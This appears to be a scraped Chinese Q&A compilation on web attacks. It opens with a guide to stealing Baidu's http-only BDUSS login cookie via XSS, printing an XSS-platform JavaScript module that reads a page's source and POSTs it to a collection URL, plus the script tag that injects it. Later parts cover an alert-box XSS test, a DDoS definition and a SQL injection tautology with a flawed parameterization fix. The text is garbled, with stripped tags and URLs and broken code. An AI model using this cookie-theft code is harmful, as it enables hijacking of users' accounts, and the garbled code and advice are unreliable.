本文目录一览:
- 1、如何通过 XSS 获取受 http-only さcookie
- 2、如何通过 XSS 获取受 http
- 3、如何使用xss平台盗取cookie
- 4、XSS攻击和DDOS攻击的区别
- 5、谁那里有可以演示SQL注入或XSS的网站平台,最好是AsP的平台。如果有的发给我,最好有简单的演示说明...
如何通过 XSS 获取受 http-only さcookie
该测试页返回了完整的http头,其中也包括了完整的cookie。混贴吧圈的应该都知道BDUSS是最关键的字段,同时该字段是受http-only保护的,百度SRC之前也因此下调了XSS的评分标准。
02.jpg
这样,我们只要利用XSS平台的"指定页面源码读取"模块即可通过XSS获取用户的完整cookie。该模块代码如下:
code 区域
var u = ';id={projectId}';
var cr;
if (document.charset) {
cr = document.charset
} else if (document.characterSet) {
cr = document.characterSet
};
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
}
}
}
createXmlHttp();
xmlHttp.onreadystatechange = writeSource;
xmlHttp.open("GET", "", true);
xmlHttp.send(null);
function postSource(cc) {
createXmlHttp();
url = u;
cc = "mycode=" + cc;
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.setRequestHeader("Content-length", cc.length);
xmlHttp.setRequestHeader("Connection", "close");
xmlHttp.send(cc)
}
function writeSource() {
if (xmlHttp.readyState == 4) {
var c = new postSource(xmlHttp.responseText)
}
}
由于是用xmlHttpRequest的形式读源码,且 的 Access-Control-Allow-Origin 为空,即默认不允许跨域,所以我们必须在同域下才能用xmlHttpRequest获取到完整的cookie。
我在 中有提到, 可以自由构造XSS。我们向该页面写入如下代码:
code 区域
titlewooyun.org/title
p超威蓝猫@wooyun.org/p
script src=;/script
如何通过 XSS 获取受 http
要想获得xss,首先得有xss漏洞
引起XSS的主要原因是因为在前端在对用户输入的字符的过滤上没有过滤完全,导致用户输入的代码被执行。
要想获取XSS。
首先,你先确定输入的地方有XSS,一般来说来测试,就是在输入的地方使用javascript输入
javascri pt:alert('XSS')
如果在页面上弹出一个框,则证明有XSS漏洞
然后就可以使用javascript 来进行各种渗透,比如获取管理员cookie,蠕虫,等等漏洞
具体的原理,太多,写出来不方便,可以看百度百科
如何使用xss平台盗取cookie
截取的是你的网站的 xss真正的原理是将代码插入到某个网页里面,当浏览器访问这个网页的时候,就会执行你写的代码。如果这个代码具有获取cookies的功能,即可获得当前页面的cookies 然而不同的网站cookies是不同的,也是不允许互相访问的。
XSS攻击和DDOS攻击的区别
XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
谁那里有可以演示SQL注入或XSS的网站平台,最好是AsP的平台。如果有的发给我,最好有简单的演示说明...
最常见的是通过用户输入,来改变你的sql语句!如一个查询语句如果写成这样:
string sql="select *from temp where id='"+txtUser.Text+"'";这里接受文本框txtUser的输入值作为条件.假如用户输入自己的id:1234;这时候查询到的就是id='1234'的数据.假如用户在文本框输入:
1234' or '1'='1(注意单引号的个数和位置);我们来看看这时候的sql语句:select *from temp where id='1234' or '1'='1'这样就很明显了,or连接两个条件,而'1'='1'是永远为true的,这时候查询的就是temp表中的全部数据!你可以想象一下如果用来密码查询,如果存在这样的漏洞,那危险就是多大!
那么我们怎样防止这样的方法来攻击我们的网站呢?这里有一个很简单的方法-----参数化!
也就是说把需要用户输入的部分参数化.如:sqlcommand cmd=new sqlcommand(="select *from temp where id='"+@txtUser+"'",conn);这里的@txtUser代替原来的txtUser.Text;现在就是给这个参数@txtUser赋值,这个你会吧!我的方法是:cmd.parameters.Add("@txtUser",sqlDbtype.char);
cmd.parameters["@txtUser"].value=txtUser.Text;OK完成,这些代码是我在这里手写的,大小写和有些单词不对,你在vs中需要改!希望对你有用!